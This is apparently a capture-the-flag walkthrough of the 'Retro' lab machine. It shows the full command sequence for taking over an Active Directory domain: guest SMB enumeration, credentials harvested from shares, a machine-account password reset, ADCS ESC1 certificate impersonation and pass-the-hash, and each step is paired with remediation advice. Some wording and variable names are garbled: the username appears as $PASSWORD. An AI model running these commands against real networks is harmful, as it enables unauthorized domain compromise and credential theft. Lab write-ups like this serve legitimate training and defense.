J. Perez Duertojperezduerto.info
← all walkthroughs

Retro

Windows· Easy
owned
2026-07-06
time to own
10m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

My fully compromised the retro.vl domain controller (DC.retro.vl, $TARGET) by chaining four misconfigurations. The domain controller accepted the guest account with a blank password over SMB, letting me list shares and RID-cycle every domain account without credentials. A world-readable share (Trainees) held a note disclosing default [REDACTED: recovered credential] credentials; those credentials unlocked a second share (Notes) whose contents revealed the known default password of a pre-staged machine account, BANKING$.

Authenticated enumeration of Active Directory Certificate Services identified the RetroClients template as ESC1-vulnerable — any enrollee could supply an arbitrary Subject Alternative Name and SID. My reset BANKING$'s password, enrolled a certificate impersonating administrator@retro.vl with the Administrator's SID embedded for strong-mapping compliance, then authenticated via Kerberos PKINIT to recover the Administrator NT hash — achieving full Domain Admin control.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationSMB null/guest session — RID cycling (T1087.002)
Confirmed unauthenticated SMB access and mapped domain accounts via RID cycling
The domain controller accepted the built-in guest account with a blank password over SMB (port 445). Using that null session I listed all shares — including the non-standard Trainees and Notes shares — and performed RID-brute-force cycling to recover every domain account name, including RETRO\Administrator (RID 500) and a range of service accounts. LDAP rejected anonymous binds entirely, so SMB was the sole enumeration path.
Nxc: 'retro.vl\guest: (Null Auth:True)'; share listing returned Trainees, Notes; RID output: 500 RETRO\Administrator, 512 RETRO\Domain Admins
Exact commands 2
Confirm guest authentication and list every accessible share.
nxc smb $TARGET -u 'guest' -p '' --shares
Enumerate domain users and groups by iterating Security Identifiers — no credentials required.
nxc smb $TARGET -u 'guest' -p '' --rid-brute 4000
FixDisable SMB null-session and guest authentication on the domain controllerHigh
WeaknessThe domain controller accepted the built-in guest account with a blank password over SMB, letting an unauthorised user on the network enumerate shares and perform RID cycling to recover every domain account name — the first link in the compromise chain.
FixDisable the Guest account in Active Directory Users and Computers (or via GPO). Apply the following Group Policy settings under Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options: set 'Network access: Do not allow anonymous enumeration of SAM accounts' and 'Network access: Do not allow anonymous enumeration of SAM accounts and shares' to Enabled; set 'Network access: Restrict anonymous access to Named Pipes and Shares' to Enabled; and set RestrictAnonymous to 2 via the registry key HKLM\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters. Verify with: nxc smb <dc-ip> -u '' -p '' — it should return Access Denied.
2Credential AccessCredentials in files on a world-readable SMB share (T1552.001)
Read the guest-accessible Trainees share and recovered plaintext Active Directory credentials
The Trainees share required no authentication. It contained a file (Important.txt) addressed to new hires that disclosed the default password for all [REDACTED: recovered credential] accounts. I downloaded the file, extracted the credentials [REDACTED: recovered credential][REDACTED: recovered credential], and confirmed them against the domain controller — gaining a valid, low-privileged Active Directory identity.
Important.txt in the Trainees share disclosed [REDACTED: recovered credential] default credentials; nxc confirmed successful authentication with [REDACTED: recovered credential][REDACTED: recovered credential]
Exact commands 4
Recursively list all guest-readable file paths across every share.
nxc smb $TARGET -u 'guest' -p '' -M spider_plus -o READ_ONLY=true DOWNLOAD_FLAG=false
Download all files from the Trainees share as guest.
mkdir -p /tmp/retro_smb/Trainees && smbclient //$TARGET/Trainees -U 'guest%' -c 'prompt off; recurse on; lcd /tmp/retro_smb/Trainees; mget *'
Read the note; contains the [REDACTED: recovered credential][REDACTED: recovered credential] default credential.
cat /tmp/retro_smb/Trainees/Important.txt
Verify the recovered credentials and list newly visible shares.
nxc smb $TARGET -u $PASSWORD -p $PASSWORD --shares
FixRemove credentials and sensitive information from shared network foldersCritical
WeaknessTwo SMB shares contained files that disclosed valid Active Directory credentials — the Trainees share was readable without authentication and exposed [REDACTED: recovered credential][REDACTED: recovered credential]; the Notes share (readable by any [REDACTED: recovered credential]) disclosed the initial password of the BANKING$ machine account. Together these two files handed an unauthorised user the entire credential chain needed to abuse the ADCS misconfiguration.
FixImmediately remove or redact any file that contains passwords, password hints, or account names from SMB shares. Restrict share access to only the identities that operationally need it — remove guest and broad Authenticated Users permissions. Deliver onboarding credentials through a password manager, secure portal, or direct manager communication rather than shared files. Schedule a periodic share audit using a tool such as Snaffler or a DLP scan to detect any future credential sprawl before unauthorised users can exploit it.
3EnumerationAuthenticated SMB share access + ADCS certificate template enumeration (T1649)
Accessed the Notes share with [REDACTED: recovered credential] credentials and discovered the BANKING$ machine account password and an ESC1-vulnerable certificate template
Authenticated as trainee, I accessed the Notes share (blocked to guests) and retrieved a file disclosing the initial password for the pre-staged computer account BANKING$. A simultaneous ADCS enumeration run identified the RetroClients certificate template as ESC1-vulnerable: it had the ENROLLEE_SUPPLIES_SUBJECT flag enabled, the Client Authentication EKU, and enroll rights for low-privileged principals — meaning any authorized account could request a certificate asserting any identity.
Notes share accessible with [REDACTED: recovered credential][REDACTED: recovered credential]; certipy find output: RetroClients — ENROLLEE_SUPPLIES_SUBJECT, Client Auth EKU, enrollable by computer principals.
Exact commands 2
Download all files from the Notes share using [REDACTED: recovered credential] credentials.
mkdir -p /tmp/retro_smb/Notes && smbclient //$TARGET/Notes -U "RETRO.VL\$PASSWORD%$PASSWORD" -c 'prompt off; recurse on; lcd /tmp/retro_smb/Notes; mget *'
Enumerate all ADCS certificate templates and flag those with exploitable misconfigurations.
certipy find -u $PASSWORD -p $PASSWORD -dc-ip $TARGET -vulnerable -stdout
4ExploitationMachine account password reset via SAMR (T1098)
Reset the BANKING$ machine account password to a known value via SAMR
The Notes share file revealed that BANKING$ was pre-staged in Active Directory with a predictable initial password (matching its short name). I used Impacket's changepasswd utility over the SAMR protocol to reset BANKING$'s password to a value they chose ([REDACTED: recovered credential]), gaining full authenticated control of that computer account without needing any administrator privileges.
Impacket-changepasswd succeeded; subsequent nxc auth confirmed BANKING$:[REDACTED: recovered credential] was valid.
Exact commands 2
Reset BANKING$'s password over SAMR using the known initial credential '[REDACTED: recovered credential]'.
impacket-changepasswd 'retro.vl/BANKING$':$PASSWORD2@$TARGET -newpass '$PASSWORD3' -dc-ip $TARGET -protocol rpc-samr
Confirm control of BANKING$ with the new password.
nxc smb $TARGET -u 'BANKING$' -p '$PASSWORD3' --shares
FixDelete or secure pre-staged machine accounts that carry known or predictable passwordsHigh
WeaknessThe computer account BANKING$ was pre-created in Active Directory with a predictable initial password (its own short name), and a note in a network share documented that fact. Any user who read the share could immediately take over the account and use it to enroll certificates — the pivot that turned low-privilege access into full Domain Admin.
FixAudit Active Directory for computer accounts that have never successfully joined a domain machine (check lastLogonTimestamp and operatingSystem attributes) and delete those that are not in active use. For any pre-staging that is operationally required, generate a random initial password of at least 20 characters, store it in a PAM vault, and rotate it the moment the machine joins. Set the domain's ms-DS-MachineAccountQuota attribute to 0 to prevent non-administrators from creating computer accounts. Monitor for SAMR-based password resets on computer accounts (Event ID 4723 / 4724).
5Privilege EscalationADCS ESC1 — enrollee-supplied subject UPN with SID extension (T1649)
Requested an administrator-impersonation certificate from the ESC1-vulnerable RetroClients template
Using BANKING$'s credentials, I requested a certificate from the retro-DC-CA certificate authority against the RetroClients template. Because the template permitted the enrollee to supply the subject, I specified administrator@retro.vl as the User Principal Name and embedded the Administrator's object SID (S-1-5-21-2983547755-698260136-4283918172-500) in the certificate's security extension — satisfying Windows strong certificate mapping (KB5014671) so the DC would accept the certificate as proof of the Administrator's identity.
Certipy req produced administrator_sid.pfx impersonating administrator@retro.vl; the SID extension was required for strong-mapping acceptance.
Exact commands 2
Add DC hostname — Certipy requires DNS resolution for Kerberos, not just an IP.
echo "$TARGET DC.retro.vl DC retro.vl" | sudo tee -a /etc/hosts
Request a certificate asserting administrator@retro.vl as the SAN/UPN with the Administrator SID embedded.
certipy req -u 'BANKING$@retro.vl' -p '$PASSWORD3' -ca retro-DC-CA -template RetroClients -upn administrator@retro.vl -sid 'S-1-5-21-2983547755-698260136-4283918172-500' -dc-ip $TARGET
FixRemediate the ESC1 misconfiguration on the RetroClients ADCS certificate templateCritical
WeaknessThe RetroClients certificate template had the ENROLLEE_SUPPLIES_SUBJECT flag enabled alongside the Client Authentication EKU and enroll permissions granted to low-privileged computer accounts. This allowed any enrollee — including the externally controlled BANKING$ account — to request a certificate asserting administrator@retro.vl as the identity, which the domain controller accepted for full Kerberos authentication.
FixOpen the Certificate Templates console (certtmpl.msc), locate RetroClients, and take the following actions: (1) Remove the 'Supply in the request' setting from the Subject Name tab — change it to 'Build from this Active Directory information' so the CA controls the subject. (2) Remove the Client Authentication OID from the Application Policies if client auth certificates are not legitimately needed from this template, or restrict enroll rights to only the specific service accounts that require it. (3) Require CA Manager Approval for any template that must retain enrollee-supplied subjects. After changes, run certipy find -vulnerable or the Locksmith PowerShell module to confirm no templates remain exploitable. Also audit for ESC2–ESC8 patterns across all templates.
6Full CompromiseKerberos PKINIT authentication + pass-the-hash (T1550.002)
Authenticated as domain Administrator via Kerberos PKINIT and recovered the NT hash
Certipy used the forged certificate to perform Kerberos PKINIT authentication against the domain controller. The DC issued a Ticket-Granting Ticket for administrator@retro.vl and — through the PKINIT AS-REP encryption — also returned the Administrator's NT hash. I used that hash for pass-the-hash access, reading both the user and root flags directly from the domain controller file system with full Domain Admin rights.
Certipy auth returned Administrator NT hash and TGT; pass-the-hash access confirmed on DC.retro.vl; both user.txt and root.txt captured.
Exact commands 3
Authenticate via PKINIT; outputs the Administrator NT hash and saves a TGT to administrator.ccache.
certipy auth -pfx administrator_sid.pfx -dc-ip $TARGET -domain retro.vl
Pass-the-hash as Administrator to read the root flag; replace <NT_HASH> with the hash from certipy auth output.
nxc smb $TARGET -u Administrator -H <NT_HASH> -x 'type C:\Users\Administrator\Desktop\root.txt'
Read the user flag from the [REDACTED: recovered credential]'s desktop.
nxc smb $TARGET -u Administrator -H <NT_HASH> -x "type C:\Users\$PASSWORD\Desktop\user.txt"

Attack patterns used

The transferable techniques behind this compromise.

AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649

What it is

Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.

Why it works

Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.

Read more

Exposed services

53/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
3269/tcp
3389/tcp
9389/tcp
49664/tcp
49667/tcp
49668/tcp
53812/tcp
55270/tcp
55289/tcp
60624/tcp
60633/tcp